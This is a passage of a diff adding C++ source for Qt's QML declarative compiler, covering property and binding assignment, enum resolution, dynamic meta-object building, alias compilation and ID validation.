+bool QDeclarativeCompiler::buildScriptStringProperty(QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj,
+ const BindingContext &ctxt)
+{
+ if (prop->values.count() > 1)
+ COMPILE_EXCEPTION(prop->values.at(1), tr( "Cannot assign multiple values to a script property"));
+
+ if (prop->values.at(0)->object)
+ COMPILE_EXCEPTION(prop->values.at(0), tr( "Invalid property assignment: script expected"));
+
+ obj->addScriptStringProperty(prop, ctxt.stack);
+
+ return true;
+}
+
+// Compile regular property assignments of the form "property: <value>"
+bool QDeclarativeCompiler::buildPropertyAssignment(QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj,
+ const BindingContext &ctxt)
+{
+ obj->addValueProperty(prop);
+
+ if (prop->values.count() > 1)
+ COMPILE_EXCEPTION(prop->values.at(0), tr( "Cannot assign multiple values to a singular property") );
+
+ for (int ii = 0; ii < prop->values.count(); ++ii) {
+ QDeclarativeParser::Value *v = prop->values.at(ii);
+ if (v->object) {
+
+ COMPILE_CHECK(buildPropertyObjectAssignment(prop, obj, v, ctxt));
+
+ } else {
+
+ COMPILE_CHECK(buildPropertyLiteralAssignment(prop, obj, v, ctxt));
+
+ }
+ }
+
+ for (int ii = 0; ii < prop->onValues.count(); ++ii) {
+ QDeclarativeParser::Value *v = prop->onValues.at(ii);
+
+ Q_ASSERT(v->object);
+ COMPILE_CHECK(buildPropertyOnAssignment(prop, obj, obj, v, ctxt));
+ }
+
+ return true;
+}
+
+// Compile assigning a single object instance to a regular property
+bool QDeclarativeCompiler::buildPropertyObjectAssignment(QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj,
+ QDeclarativeParser::Value *v,
+ const BindingContext &ctxt)
+{
+ Q_ASSERT(prop->index != -1);
+ Q_ASSERT(v->object->type != -1);
+
+ if (!obj->metaObject()->property(prop->index).isWritable())
+ COMPILE_EXCEPTION(v, tr("Invalid property assignment: \"%1\" is a read-only property").arg(QString::fromUtf8(prop->name)));
+
+ if (QDeclarativeMetaType::isInterface(prop->type)) {
+
+ // Assigning an object to an interface ptr property
+ COMPILE_CHECK(buildObject(v->object, ctxt));
+
+ v->type = Value::CreatedObject;
+
+ } else if (prop->type == -1) {
+
+ // Assigning an object to a QVariant
+ COMPILE_CHECK(buildObject(v->object, ctxt));
+
+ v->type = Value::CreatedObject;
+ } else {
+ // Normally buildObject() will set this up, but we need the static
+ // meta object earlier to test for assignability. It doesn't matter
+ // that there may still be outstanding synthesized meta object changes
+ // on this type, as they are not relevant for assignability testing
+ v->object->metatype = output->types.at(v->object->type).metaObject();
+ Q_ASSERT(v->object->metaObject());
+
+ // We want to raw metaObject here as the raw metaobject is the
+ // actual property type before we applied any extensions that might
+ // effect the properties on the type, but don't effect assignability
+ const QMetaObject *propertyMetaObject = enginePrivate->rawMetaObjectForType(prop->type);
+
+ // Will be true if the assgned type inherits propertyMetaObject
+ bool isAssignable = false;
+ // Determine isAssignable value
+ if (propertyMetaObject) {
+ const QMetaObject *c = v->object->metatype;
+ while(c) {
+ isAssignable |= (QDeclarativePropertyPrivate::equal(c, propertyMetaObject));
+ c = c->superClass();
+ }
+ }
+
+ if (isAssignable) {
+ // Simple assignment
+ COMPILE_CHECK(buildObject(v->object, ctxt));
+
+ v->type = Value::CreatedObject;
+ } else if (propertyMetaObject == &QDeclarativeComponent::staticMetaObject) {
+ // Automatic "Component" insertion
+ QDeclarativeParser::Object *root = v->object;
+ QDeclarativeParser::Object *component = new QDeclarativeParser::Object;
+ component->type = componentTypeRef();
+ component->typeName = "Qt/Component";
+ component->metatype = &QDeclarativeComponent::staticMetaObject;
+ component->location = root->location;
+ QDeclarativeParser::Value *componentValue = new QDeclarativeParser::Value;
+ componentValue->object = root;
+ component->getDefaultProperty()->addValue(componentValue);
+ v->object = component;
+ COMPILE_CHECK(buildPropertyObjectAssignment(prop, obj, v, ctxt));
+ } else {
+ COMPILE_EXCEPTION(v->object, tr("Cannot assign object to property"));
+ }
+ }
+
+ return true;
+}
+
+// Compile assigning a single object instance to a regular property using the "on" syntax.
+//
+// For example:
+// Item {
+// NumberAnimation on x { }
+// }
+bool QDeclarativeCompiler::buildPropertyOnAssignment(QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj,
+ QDeclarativeParser::Object *baseObj,
+ QDeclarativeParser::Value *v,
+ const BindingContext &ctxt)
+{
+ Q_ASSERT(prop->index != -1);
+ Q_ASSERT(v->object->type != -1);
+
+ if (!obj->metaObject()->property(prop->index).isWritable())
+ COMPILE_EXCEPTION(v, tr("Invalid property assignment: \"%1\" is a read-only property").arg(QString::fromUtf8(prop->name)));
+
+
+ // Normally buildObject() will set this up, but we need the static
+ // meta object earlier to test for assignability. It doesn't matter
+ // that there may still be outstanding synthesized meta object changes
+ // on this type, as they are not relevant for assignability testing
+ v->object->metatype = output->types.at(v->object->type).metaObject();
+ Q_ASSERT(v->object->metaObject());
+
+ // Will be true if the assigned type inherits QDeclarativePropertyValueSource
+ bool isPropertyValue = false;
+ // Will be true if the assigned type inherits QDeclarativePropertyValueInterceptor
+ bool isPropertyInterceptor = false;
+ if (QDeclarativeType *valueType = toQmlType(v->object)) {
+ isPropertyValue = valueType->propertyValueSourceCast() != -1;
+ isPropertyInterceptor = valueType->propertyValueInterceptorCast() != -1;
+ }
+
+ if (isPropertyValue || isPropertyInterceptor) {
+ // Assign as a property value source
+ COMPILE_CHECK(buildObject(v->object, ctxt));
+
+ if (isPropertyInterceptor && prop->parent->synthdata.isEmpty())
+ buildDynamicMeta(baseObj, ForceCreation);
+ v->type = isPropertyValue ? Value::ValueSource : Value::ValueInterceptor;
+ } else {
+ COMPILE_EXCEPTION(v, tr("\"%1\" cannot operate on \"%2\"").arg(QString::fromUtf8(v->object->typeName)).arg(QString::fromUtf8(prop->name.constData())));
+ }
+
+ return true;
+}
+
+// Compile assigning a literal or binding to a regular property
+bool QDeclarativeCompiler::buildPropertyLiteralAssignment(QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj,
+ QDeclarativeParser::Value *v,
+ const BindingContext &ctxt)
+{
+ Q_ASSERT(prop->index != -1);
+
+ if (v->value.isScript()) {
+
+ //optimization for <Type>.<EnumValue> enum assignments
+ bool isEnumAssignment = false;
+ COMPILE_CHECK(testQualifiedEnumAssignment(obj->metaObject()->property(prop->index), obj, v, &isEnumAssignment));
+ if (isEnumAssignment) {
+ v->type = Value::Literal;
+ return true;
+ }
+
+ COMPILE_CHECK(buildBinding(v, prop, ctxt));
+
+ v->type = Value::PropertyBinding;
+
+ } else {
+
+ COMPILE_CHECK(testLiteralAssignment(obj->metaObject()->property(prop->index), v));
+
+ v->type = Value::Literal;
+ }
+
+ return true;
+}
+
+bool QDeclarativeCompiler::testQualifiedEnumAssignment(const QMetaProperty &prop,
+ QDeclarativeParser::Object *obj,
+ QDeclarativeParser::Value *v,
+ bool *isAssignment)
+{
+ *isAssignment = false;
+ if (!prop.isEnumType())
+ return true;
+
+ if (!prop.isWritable())
+ COMPILE_EXCEPTION(v, tr("Invalid property assignment: \"%1\" is a read-only property").arg(QString::fromUtf8(prop.name())));
+
+ QString string = v->value.asString();
+ if (!string.at(0).isUpper())
+ return true;
+
+ QStringList parts = string.split(QLatin1Char('.'));
+ if (parts.count() != 2)
+ return true;
+
+ QString typeName = parts.at(0);
+ QDeclarativeType *type = 0;
+ unit->imports().resolveType(typeName.toUtf8(), &type, 0, 0, 0, 0);
+
+ //handle enums on value types (where obj->typeName is empty)
+ QByteArray objTypeName = obj->typeName;
+ if (objTypeName.isEmpty()) {
+ QDeclarativeType *objType = toQmlType(obj);
+ if (objType)
+ objTypeName = objType->qmlTypeName();
+ }
+
+ if (!type || objTypeName != type->qmlTypeName())
+ return true;
+
+ QString enumValue = parts.at(1);
+ int value;
+ if (prop.isFlagType()) {
+ value = prop.enumerator().keysToValue(enumValue.toUtf8().constData());
+ } else
+ value = prop.enumerator().keyToValue(enumValue.toUtf8().constData());
+ if (value == -1)
+ return true;
+
+ v->type = Value::Literal;
+ v->value = QDeclarativeParser::Variant(enumValue);
+ *isAssignment = true;
+
+ return true;
+}
+
+// Similar logic to above, but not knowing target property.
+int QDeclarativeCompiler::evaluateEnum(const QByteArray& script) const
+{
+ int dot = script.indexOf('.');
+ if (dot > 0) {
+ QDeclarativeType *type = 0;
+ unit->imports().resolveType(script.left(dot), &type, 0, 0, 0, 0);
+ if (!type)
+ return -1;
+ const QMetaObject *mo = type->metaObject();
+ const char *key = script.constData() + dot+1;
+ int i = mo->enumeratorCount();
+ while (i--) {
+ int v = mo->enumerator(i).keyToValue(key);
+ if (v >= 0)
+ return v;
+ }
+ }
+ return -1;
+}
+
+const QMetaObject *QDeclarativeCompiler::resolveType(const QByteArray& name) const
+{
+ QDeclarativeType *qmltype = 0;
+ if (!unit->imports().resolveType(name, &qmltype, 0, 0, 0, 0))
+ return 0;
+ if (!qmltype)
+ return 0;
+ return qmltype->metaObject();
+}
+
+// similar to logic of completeComponentBuild, but also sticks data
+// into datas at the end
+int QDeclarativeCompiler::rewriteBinding(const QString& expression, const QByteArray& name)
+{
+ QDeclarativeRewrite::RewriteBinding rewriteBinding;
+ rewriteBinding.setName('$' + name.mid(name.lastIndexOf('.') + 1));
+ bool isSharable = false;
+ QString rewrite = rewriteBinding(expression, 0, &isSharable);
+
+ quint32 length = rewrite.length();
+ quint32 pc;
+
+ if (isSharable) {
+ pc = output->cachedClosures.count();
+ pc |= 0x80000000;
+ output->cachedClosures.append(0);
+ } else {
+ pc = output->cachedPrograms.length();
+ output->cachedPrograms.append(0);
+ }
+
+ QByteArray compiledData =
+ QByteArray((const char *)&pc, sizeof(quint32)) +
+ QByteArray((const char *)&length, sizeof(quint32)) +
+ QByteArray((const char *)rewrite.constData(),
+ rewrite.length() * sizeof(QChar));
+
+ return output->indexForByteArray(compiledData);
+}
+
+// Ensures that the dynamic meta specification on obj is valid
+bool QDeclarativeCompiler::checkDynamicMeta(QDeclarativeParser::Object *obj)
+{
+ QSet<QByteArray> propNames;
+ QSet<QByteArray> methodNames;
+ bool seenDefaultProperty = false;
+
+ // Check properties
+ for (int ii = 0; ii < obj->dynamicProperties.count(); ++ii) {
+ const QDeclarativeParser::Object::DynamicProperty &prop =
+ obj->dynamicProperties.at(ii);
+
+ if (prop.isDefaultProperty) {
+ if (seenDefaultProperty)
+ COMPILE_EXCEPTION(&prop, tr("Duplicate default property"));
+ seenDefaultProperty = true;
+ }
+
+ if (propNames.contains(prop.name))
+ COMPILE_EXCEPTION(&prop, tr("Duplicate property name"));
+
+ QString propName = QString::fromUtf8(prop.name);
+ if (propName.at(0).isUpper())
+ COMPILE_EXCEPTION(&prop, tr("Property names cannot begin with an upper case letter"));
+
+ if (enginePrivate->globalClass->illegalNames().contains(propName))
+ COMPILE_EXCEPTION(&prop, tr("Illegal property name"));
+
+ propNames.insert(prop.name);
+ }
+
+ for (int ii = 0; ii < obj->dynamicSignals.count(); ++ii) {
+ QByteArray name = obj->dynamicSignals.at(ii).name;
+ if (methodNames.contains(name))
+ COMPILE_EXCEPTION(obj, tr("Duplicate signal name"));
+ QString nameStr = QString::fromUtf8(name);
+ if (nameStr.at(0).isUpper())
+ COMPILE_EXCEPTION(obj, tr("Signal names cannot begin with an upper case letter"));
+ if (enginePrivate->globalClass->illegalNames().contains(nameStr))
+ COMPILE_EXCEPTION(obj, tr("Illegal signal name"));
+ methodNames.insert(name);
+ }
+ for (int ii = 0; ii < obj->dynamicSlots.count(); ++ii) {
+ QByteArray name = obj->dynamicSlots.at(ii).name;
+ if (methodNames.contains(name))
+ COMPILE_EXCEPTION(obj, tr("Duplicate method name"));
+ QString nameStr = QString::fromUtf8(name);
+ if (nameStr.at(0).isUpper())
+ COMPILE_EXCEPTION(obj, tr("Method names cannot begin with an upper case letter"));
+ if (enginePrivate->globalClass->illegalNames().contains(nameStr))
+ COMPILE_EXCEPTION(obj, tr("Illegal method name"));
+ methodNames.insert(name);
+ }
+
+ return true;
+}
+
+bool QDeclarativeCompiler::mergeDynamicMetaProperties(QDeclarativeParser::Object *obj)
+{
+ for (int ii = 0; ii < obj->dynamicProperties.count(); ++ii) {
+ const Object::DynamicProperty &p = obj->dynamicProperties.at(ii);
+
+ if (!p.defaultValue || p.type == Object::DynamicProperty::Alias)
+ continue;
+
+ Property *property = 0;
+ if (p.isDefaultProperty) {
+ property = obj->getDefaultProperty();
+ } else {
+ property = obj->getProperty(p.name);
+ if (!property->values.isEmpty())
+ COMPILE_EXCEPTION(property, tr("Property value set multiple times"));
+ }
+
+ if (property->value)
+ COMPILE_EXCEPTION(property, tr("Invalid property nesting"));
+
+ for (int ii = 0; ii < p.defaultValue->values.count(); ++ii) {
+ QDeclarativeParser::Value *v = p.defaultValue->values.at(ii);
+ v->addref();
+ property->values.append(v);
+ }
+ }
+ return true;
+}
+
+Q_GLOBAL_STATIC(QAtomicInt, classIndexCounter)
+
+bool QDeclarativeCompiler::buildDynamicMeta(QDeclarativeParser::Object *obj, DynamicMetaMode mode)
+{
+ Q_ASSERT(obj);
+ Q_ASSERT(obj->metatype);
+
+ if (mode != ForceCreation &&
+ obj->dynamicProperties.isEmpty() &&
+ obj->dynamicSignals.isEmpty() &&
+ obj->dynamicSlots.isEmpty())
+ return true;
+
+ QByteArray dynamicData(sizeof(QDeclarativeVMEMetaData), (char)0);
+
+ QByteArray newClassName = obj->metatype->className();
+ newClassName.append("_QML_");
+ int idx = classIndexCounter()->fetchAndAddRelaxed(1);
+ newClassName.append(QByteArray::number(idx));
+ if (compileState.root == obj) {
+ QString path = output->url.path();
+ int lastSlash = path.lastIndexOf(QLatin1Char('/'));
+ if (lastSlash > -1) {
+ QString nameBase = path.mid(lastSlash + 1, path.length()-lastSlash-5);
+ if (!nameBase.isEmpty() && nameBase.at(0).isUpper())
+ newClassName = nameBase.toUtf8() + "_QMLTYPE_" + QByteArray::number(idx);
+ }
+ }
+
+ QMetaObjectBuilder builder;
+ builder.setClassName(newClassName);
+ builder.setFlags(QMetaObjectBuilder::DynamicMetaObject);
+
+ bool hasAlias = false;
+ for (int ii = 0; ii < obj->dynamicProperties.count(); ++ii) {
+ const Object::DynamicProperty &p = obj->dynamicProperties.at(ii);
+
+ int propIdx = obj->metaObject()->indexOfProperty(p.name.constData());
+ if (-1 != propIdx) {
+ QMetaProperty prop = obj->metaObject()->property(propIdx);
+ if (prop.isFinal())
+ COMPILE_EXCEPTION(&p, tr("Cannot override FINAL property"));
+ }
+
+ if (p.isDefaultProperty &&
+ (p.type != Object::DynamicProperty::Alias ||
+ mode == ResolveAliases))
+ builder.addClassInfo("DefaultProperty", p.name);
+
+ QByteArray type;
+ int propertyType = 0;
+ bool readonly = false;
+ switch(p.type) {
+ case Object::DynamicProperty::Alias:
+ hasAlias = true;
+ continue;
+ break;
+ case Object::DynamicProperty::CustomList:
+ case Object::DynamicProperty::Custom:
+ {
+ QByteArray customTypeName;
+ QDeclarativeType *qmltype = 0;
+ QUrl url;
+ if (!unit->imports().resolveType(p.customType, &qmltype, &url, 0, 0, 0))
+ COMPILE_EXCEPTION(&p, tr("Invalid property type"));
+
+ if (!qmltype) {
+ QDeclarativeTypeData *tdata = enginePrivate->typeLoader.get(url);
+ Q_ASSERT(tdata);
+ Q_ASSERT(tdata->isComplete());
+
+ QDeclarativeCompiledData *data = tdata->compiledData();
+ customTypeName = data->root->className();
+ data->release();
+ tdata->release();
+ } else {
+ customTypeName = qmltype->typeName();
+ }
+
+ if (p.type == Object::DynamicProperty::Custom) {
+ type = customTypeName + '*';
+ propertyType = QMetaType::QObjectStar;
+ } else {
+ readonly = true;
+ type = "QDeclarativeListProperty<";
+ type.append(customTypeName);
+ type.append(">");
+ propertyType = qMetaTypeId<QDeclarativeListProperty<QObject> >();
+ }
+ }
+ break;
+ case Object::DynamicProperty::Variant:
+ propertyType = -1;
+ type = "QVariant";
+ break;
+ case Object::DynamicProperty::Int:
+ propertyType = QVariant::Int;
+ type = "int";
+ break;
+ case Object::DynamicProperty::Bool:
+ propertyType = QVariant::Bool;
+ type = "bool";
+ break;
+ case Object::DynamicProperty::Real:
+ propertyType = QVariant::Double;
+ type = "double";
+ break;
+ case Object::DynamicProperty::String:
+ propertyType = QVariant::String;
+ type = "QString";
+ break;
+ case Object::DynamicProperty::Url:
+ propertyType = QVariant::Url;
+ type = "QUrl";
+ break;
+ case Object::DynamicProperty::Color:
+ propertyType = QVariant::Color;
+ type = "QColor";
+ break;
+ case Object::DynamicProperty::Time:
+ propertyType = QVariant::Time;
+ type = "QTime";
+ break;
+ case Object::DynamicProperty::Date:
+ propertyType = QVariant::Date;
+ type = "QDate";
+ break;
+ case Object::DynamicProperty::DateTime:
+ propertyType = QVariant::DateTime;
+ type = "QDateTime";
+ break;
+ }
+
+ ((QDeclarativeVMEMetaData *)dynamicData.data())->propertyCount++;
+ QDeclarativeVMEMetaData::PropertyData propertyData = { propertyType };
+ dynamicData.append((char *)&propertyData, sizeof(propertyData));
+
+ builder.addSignal(p.name + "Changed()");
+ QMetaPropertyBuilder propBuilder =
+ builder.addProperty(p.name, type, builder.methodCount() - 1);
+ propBuilder.setWritable(!readonly);
+ }
+
+ for (int ii = 0; ii < obj->dynamicProperties.count(); ++ii) {
+ const Object::DynamicProperty &p = obj->dynamicProperties.at(ii);
+
+ if (p.type == Object::DynamicProperty::Alias) {
+ if (mode == ResolveAliases) {
+ ((QDeclarativeVMEMetaData *)dynamicData.data())->aliasCount++;
+ COMPILE_CHECK(compileAlias(builder, dynamicData, obj, p));
+ } else {
+ // Need a fake signal so that the metaobject remains consistent across
+ // the resolve and non-resolve alias runs
+ builder.addSignal(p.name + "Changed()");
+ }
+ }
+ }
+
+ for (int ii = 0; ii < obj->dynamicSignals.count(); ++ii) {
+ const Object::DynamicSignal &s = obj->dynamicSignals.at(ii);
+ QByteArray sig(s.name + '(');
+ for (int jj = 0; jj < s.parameterTypes.count(); ++jj) {
+ if (jj) sig.append(',');
+ sig.append(s.parameterTypes.at(jj));
+ }
+ sig.append(')');
+ QMetaMethodBuilder b = builder.addSignal(sig);
+ b.setParameterNames(s.parameterNames);
+ ((QDeclarativeVMEMetaData *)dynamicData.data())->signalCount++;
+ }
+
+ QStringList funcScripts;
+
+ for (int ii = 0; ii < obj->dynamicSlots.count(); ++ii) {
+ Object::DynamicSlot &s = obj->dynamicSlots[ii];
+ QByteArray sig(s.name + '(');
+ QString funcScript(QLatin1String("(function ") + s.name + QLatin1Char('('));
+
+ for (int jj = 0; jj < s.parameterNames.count(); ++jj) {
+ if (jj) {
+ sig.append(',');
+ funcScript.append(QLatin1Char(','));
+ }
+ funcScript.append(QLatin1String(s.parameterNames.at(jj)));
+ sig.append("QVariant");
+ }
+ sig.append(')');
+ funcScript.append(QLatin1Char(')'));
+ funcScript.append(s.body);
+ funcScript.append(QLatin1Char(')'));
+ funcScripts << funcScript;
+
+ QMetaMethodBuilder b = builder.addSlot(sig);
+ b.setReturnType("QVariant");
+ b.setParameterNames(s.parameterNames);
+
+ ((QDeclarativeVMEMetaData *)dynamicData.data())->methodCount++;
+ QDeclarativeVMEMetaData::MethodData methodData =
+ { s.parameterNames.count(), 0, funcScript.length(), s.location.start.line };
+
+ dynamicData.append((char *)&methodData, sizeof(methodData));
+ }
+
+ for (int ii = 0; ii < obj->dynamicSlots.count(); ++ii) {
+ const QString &funcScript = funcScripts.at(ii);
+ QDeclarativeVMEMetaData::MethodData *data =
+ ((QDeclarativeVMEMetaData *)dynamicData.data())->methodData() + ii;
+
+ data->bodyOffset = dynamicData.size();
+
+ dynamicData.append((const char *)funcScript.constData(),
+ (funcScript.length() * sizeof(QChar)));
+ }
+
+ obj->metadata = builder.toRelocatableData();
+ builder.fromRelocatableData(&obj->extObject, obj->metatype, obj->metadata);
+
+ if (mode == IgnoreAliases && hasAlias)
+ compileState.aliasingObjects << obj;
+
+ obj->synthdata = dynamicData;
+
+ if (obj->synthCache) {
+ obj->synthCache->release();
+ obj->synthCache = 0;
+ }
+
+ if (obj->type != -1) {
+ QDeclarativePropertyCache *cache = output->types[obj->type].createPropertyCache(engine)->copy();
+ cache->append(engine, &obj->extObject, QDeclarativePropertyCache::Data::NoFlags,
+ QDeclarativePropertyCache::Data::IsVMEFunction,
+ QDeclarativePropertyCache::Data::IsVMESignal);
+ obj->synthCache = cache;
+ }
+
+ return true;
+}
+
+bool QDeclarativeCompiler::checkValidId(QDeclarativeParser::Value *v, const QString &val)
+{
+ if (val.isEmpty())
+ COMPILE_EXCEPTION(v, tr( "Invalid empty ID"));
+
+ if (val.at(0).isLetter() && !val.at(0).isLower())
+ COMPILE_EXCEPTION(v, tr( "IDs cannot start with an uppercase letter"));
+
+ QChar u(QLatin1Char('_'));
+ for (int ii = 0; ii < val.count(); ++ii) {
+
+ if (ii == 0 && !val.at(ii).isLetter() && val.at(ii) != u) {
+ COMPILE_EXCEPTION(v, tr( "IDs must start with a letter or underscore"));
+ } else if (ii != 0 && !val.at(ii).isLetterOrNumber() && val.at(ii) != u) {
+ COMPILE_EXCEPTION(v, tr( "IDs must contain only letters, numbers, and underscores"));
+ }
+
+ }
+
+ if (enginePrivate->globalClass->illegalNames().contains(val))
+ COMPILE_EXCEPTION(v, tr( "ID illegally masks global JavaScript property"));
+
+ return true;
+}
+
+#include <qdeclarativejsparser_p.h>
+
+static QStringList astNodeToStringList(QDeclarativeJS::AST::Node *node)
+{
+ if (node->kind == QDeclarativeJS::AST::Node::Kind_IdentifierExpression) {
+ QString name =
+ static_cast<QDeclarativeJS::AST::IdentifierExpression *>(node)->name->asString();
+ return QStringList() << name;
+ } else if (node->kind == QDeclarativeJS::AST::Node::Kind_FieldMemberExpression) {
+ QDeclarativeJS::AST::FieldMemberExpression *expr = static_cast<QDeclarativeJS::AST::FieldMemberExpression *>(node);
+
+ QStringList rv = astNodeToStringList(expr->base);
+ if (rv.isEmpty())
+ return rv;
+ rv.append(expr->name->asString());
+ return rv;
+ }
+ return QStringList();
+}
+
+bool QDeclarativeCompiler::compileAlias(QMetaObjectBuilder &builder,
+ QByteArray &data,
+ QDeclarativeParser::Object *obj,
+ const Object::DynamicProperty &prop)
+{
+ if (!prop.defaultValue)
+ COMPILE_EXCEPTION(obj, tr("No property alias location"));
+
+ if (prop.defaultValue->values.count() != 1 ||
+ prop.defaultValue->values.at(0)->object ||
+ !prop.defaultValue->values.at(0)->value.isScript())
+ COMPILE_EXCEPTION(prop.defaultValue, tr("Invalid alias location"));
+
+ QDeclarativeJS::AST::Node *node = prop.defaultValue->values.at(0)->value.asAST();
+ if (!node)
+ COMPILE_EXCEPTION(obj, tr("No property alias location")); // ### Can this happen?
+
+ QStringList alias = astNodeToStringList(node);
+
+ if (alias.count() < 1 || alias.count() > 3)
+ COMPILE_EXCEPTION(prop.defaultValue, tr("Invalid alias reference. An alias reference must be specified as <id>, <id>.<property> or <id>.<value property>.<property>"));
+
+ if (!compileState.ids.contains(alias.at(0)))
+ COMPILE_EXCEPTION(prop.defaultValue, tr("Invalid alias reference. Unable to find id \"%1\"").arg(alias.at(0)));
+
+ QDeclarativeParser::Object *idObject = compileState.ids[alias.at(0)];
+
+ QByteArray typeName;
+
+ int propIdx = -1;
+ int flags = 0;
+ bool writable = false;
+ if (alias.count() == 2 || alias.count() == 3) {
+ propIdx = indexOfProperty(idObject, alias.at(1).toUtf8());
+
+ if (-1 == propIdx) {
+ COMPILE_EXCEPTION(prop.defaultValue, tr("Invalid alias location"));
+ } else if (propIdx > 0xFFFF) {
+ COMPILE_EXCEPTION(prop.defaultValue, tr("Alias property exceeds alias bounds"));
+ }
+
+ QMetaProperty aliasProperty = idObject->metaObject()->property(propIdx);
+ if (!aliasProperty.isScriptable())
+ COMPILE_EXCEPTION(prop.defaultValue, tr("Invalid alias location"));
+
+ writable = aliasProperty.isWritable();
+
+ if (alias.count() == 3) {
+ QDeclarativeValueType *valueType = enginePrivate->valueTypes[aliasProperty.type()];
+ if (!valueType)
+ COMPILE_EXCEPTION(prop.defaultValue, tr("Invalid alias location"));
+
+ propIdx |= ((unsigned int)aliasProperty.type()) << 24;
+
+ int valueTypeIndex = valueType->metaObject()->indexOfProperty(alias.at(2).toUtf8().constData());
+ if (valueTypeIndex == -1)
+ COMPILE_EXCEPTION(prop.defaultValue, tr("Invalid alias location"));
+ Q_ASSERT(valueTypeIndex <= 0xFF);
+
+ aliasProperty = valueType->metaObject()->property(valueTypeIndex);
+ propIdx |= (valueTypeIndex << 16);
+ }
+
+ if (aliasProperty.isEnumType())
+ typeName = "int"; // Avoid introducing a dependency on the aliased metaobject
+ else
+ typeName = aliasProperty.typeName();
+ } else {
+ typeName = idObject->metaObject()->className();
+
+ //use the base type since it has been registered with metatype system
+ int index = typeName.indexOf("_QML_");
+ if (index != -1) {
+ typeName = typeName.left(index);
+ } else {
+ index = typeName.indexOf("_QMLTYPE_");
+ const QMetaObject *mo = idObject->metaObject();
+ while (index != -1 && mo) {
+ typeName = mo->superClass()->className();
+ index = typeName.indexOf("_QMLTYPE_");
+ mo = mo->superClass();
+ }
+ }
+
+ typeName += '*';
+ }
+
+ if (typeName.endsWith('*'))
+ flags |= QML_ALIAS_FLAG_PTR;
+
+ data.append((const char *)&idObject->idIndex, sizeof(idObject->idIndex));
+ data.append((const char *)&propIdx, sizeof(propIdx));
+ data.append((const char *)&flags, sizeof(flags));
+
+ builder.addSignal(prop.name + "Changed()");
+ QMetaPropertyBuilder propBuilder =
+ builder.addProperty(prop.name, typeName.constData(), builder.methodCount() - 1);
+ propBuilder.setWritable(writable);
+ return true;
+}
+
+bool QDeclarativeCompiler::buildBinding(QDeclarativeParser::Value *value,
+ QDeclarativeParser::Property *prop,
+ const BindingContext &ctxt)
+{
+ Q_ASSERT(prop->index != -1);
+ Q_ASSERT(prop->parent);
+ Q_ASSERT(prop->parent->metaObject());
+
+ QMetaProperty mp = prop->parent->metaObject()->property(prop->index);
+ if (!mp.isWritable() && !QDeclarativeMetaType::isList(prop->type))
+ COMPILE_EXCEPTION(prop, tr("Invalid property assignment: \"%1\" is a read-only property").arg(QString::fromUtf8(prop->name)));
+
+ BindingReference reference;
+ reference.expression = value->value;
+ reference.property = prop;
+ reference.value = value;
+ reference.bindingContext = ctxt;
+ addBindingReference(reference);
+
+ return true;
+}
+
+void QDeclarativeCompiler::genBindingAssignment(QDeclarativeParser::Value *binding,
+ QDeclarativeParser::Property *prop,
+ QDeclarativeParser::Object *obj,
+ QDeclarativeParser::Property *valueTypeProperty)
+{
+ Q_UNUSED(obj);
+ Q_ASSERT(compileState.bindings.contains(binding));
+
+ const BindingReference &ref = compileState.bindings.value(binding);
+ if (ref.dataType == BindingReference::Experimental) {
+ QDeclarativeInstruction store;
+ store.type = QDeclarativeInstruction::StoreCompiledBinding;
+ store.assignBinding.value = ref.compiledIndex;
+ store.assignBinding.context = ref.bindingContext.stack;
+ store.assignBinding.owner = ref.bindingContext.owner;
+ if (valueTypeProperty)
+ store.assignBinding.property = (valueTypeProperty->index & 0xFFFF) |
+ ((valueTypeProperty->type & 0xFF)) << 16 |
+ ((prop->index & 0xFF) << 24);
+ else
+ store.assignBinding.property = prop->index;
+ store.line = binding->location.start.line;
+ output->bytecode << store;
+ return;
+ }
+
+ QDeclarativeInstruction store;
+ if (!prop->isAlias)
+ store.type = QDeclarativeInstruction::StoreBinding;
+ else
+ store.type = QDeclarativeInstruction::StoreBindingOnAlias;
+ store.assignBinding.value = output->indexForByteArray(ref.compiledData);
+ store.assignBinding.context = ref.bindingContext.stack;
+ store.assignBinding.owner = ref.bindingContext.owner;
+ store.line = binding->location.start.line;
+
+ Q_ASSERT(ref.bindingContext.owner == 0 ||
+ (ref.bindingContext.owner != 0 && valueTypeProperty));
+ if (ref.bindingContext.owner) {
+ store.assignBinding.property = genValueTypeData(prop, valueTypeProperty);
+ } else {
+ store.assignBinding.property = genPropertyData(prop);
+ }
+
+ output->bytecode << store;
+}
+
+int QDeclarativeCompiler::genContextCache()
+{
+ if (compileState.ids.count() == 0)
+ return -1;
+
+ QDeclarativeIntegerCache *cache = new QDeclarativeIntegerCache(engine);
+
+ for (QHash<QString, QDeclarativeParser::Object *>::ConstIterator iter = compileState.ids.begin();
+ iter != compileState.ids.end();
+ ++iter)
+ cache->add(iter.key(), (*iter)->idIndex);
+
+ output->contextCaches.append(cache);
+ return output->contextCaches.count() - 1;
+}
+
+int QDeclarativeCompiler::genValueTypeData(QDeclarativeParser::Property *valueTypeProp,
+ QDeclarativeParser::Property *prop)
+{
+ QByteArray data =
+ QDeclarativePropertyPrivate::saveValueType(prop->parent->metaObject(), prop->index,
+ enginePrivate->valueTypes[prop->type]->metaObject(),
+ valueTypeProp->index);
+// valueTypeProp->index, valueTypeProp->type);
+
+ return output->indexForByteArray(data);
+}
+
+int QDeclarativeCompiler::genPropertyData(QDeclarativeParser::Property *prop)
+{
+ return output->indexForByteArray(QDeclarativePropertyPrivate::saveProperty(prop->parent->metaObject(), prop->index));
+}
+
+bool QDeclarativeCompiler::completeComponentBuild()
+{
+ componentStat.ids = compileState.ids.count();
+
+ for (int ii = 0; ii < compileState.aliasingObjects.count(); ++ii) {
+ QDeclarativeParser::Object *aliasObject = compileState.aliasingObjects.at(ii);
+ COMPILE_CHECK(buildDynamicMeta(aliasObject, ResolveAliases));
+ }
+
+ QDeclarativeBindingCompiler::Expression expr;
+ expr.component = compileState.root;
+ expr.ids = compileState.ids;
+
+ QDeclarativeBindingCompiler bindingCompiler;
+
+ for (QHash<QDeclarativeParser::Value*,BindingReference>::Iterator iter = compileState.bindings.begin();
+ iter != compileState.bindings.end(); ++iter) {
+
+ BindingReference &binding = *iter;
+
+ expr.context = binding.bindingContext.object;
+ expr.property = binding.property;
